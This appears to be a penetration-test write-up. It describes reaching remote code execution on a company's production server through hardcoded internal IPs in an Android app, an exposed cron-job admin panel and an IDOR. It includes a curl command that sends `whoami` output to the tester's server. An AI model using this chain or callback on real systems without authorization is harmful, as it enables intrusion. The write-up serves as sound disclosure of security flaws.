TL;DR
We exploited an information disclosure in the mobile app to get an RCE on an internal server which was leveraged to the prod environment.
Let's call the organization " Redacted Inc.".
Their in-scope apps and URL's are their Android apps, and two URL endpoints -
Any static analysis of the android application starts with decompiling the app and I use MobSF for doing that.
One of the most eye-catching sections of a MobSF Report is the section that lists the files that might contain hardcoded sensitive information like usernames, constants, keys, passwords, etc which looks somewhat like this.
The file I'm most concerned about here is the Global.java.
After opening the link it turns out that the file contains tons of hard-coded information used by the application some of which are API Keys, URLs to the application API's and a few other IP Addresses which seem unusual.
The part that got my attention is this (shown below) as it's evident from the parameter names that these are some internal server URLs and IPs.
Since most of them were AWS Public IP addresses, I ran a Port scan in the background and started browsing them one by one to see if I find anything useful on the server - 80/443.
Surprisingly one of them had an open directory on the Webroot and an interesting path. Let's call that admsystem.
From the name and the contents, it looked like a directory listing for the admin panel of the website. This is in itself a serious issue but I thought of probing deeper to see if I can leverage anything inside to get more access to the server.
Browsing the directory and its contents an interesting file caught my attention - /tools/cron/html/cron.html
This page had a title of Redacted Internal Cron Job UI and looked like an internal admin panel to create Cron Jobs.
To do a quick check if the commands are actually being executed on the server, I tried a simple curl instead of getting a full shell in their restricted environment which was out of scope.curl http://my-server/test?out=whoami` and got a response on my server aswww-data`.
This is where I stopped all my attempts and the issue was reported. It should be noted that we are still in the internal domain of the application and this was not in scope.
This is where my teammate Selvie (@FetaSelvie) helped.
The next day when we were carrying out this Pentest, we were testing app.redacted.com and Selvie found a call to api.redacted.com/admsystem/provider.php which was vulnerable to an IDOR.
Seeing the path admsystem we remembered it appearing in the internal server as well.
So she tried to reach the internal Cron portal and send the same request to api.redacted.com/tools/cron/html/cron.html
And there we have it, RCE on the production server.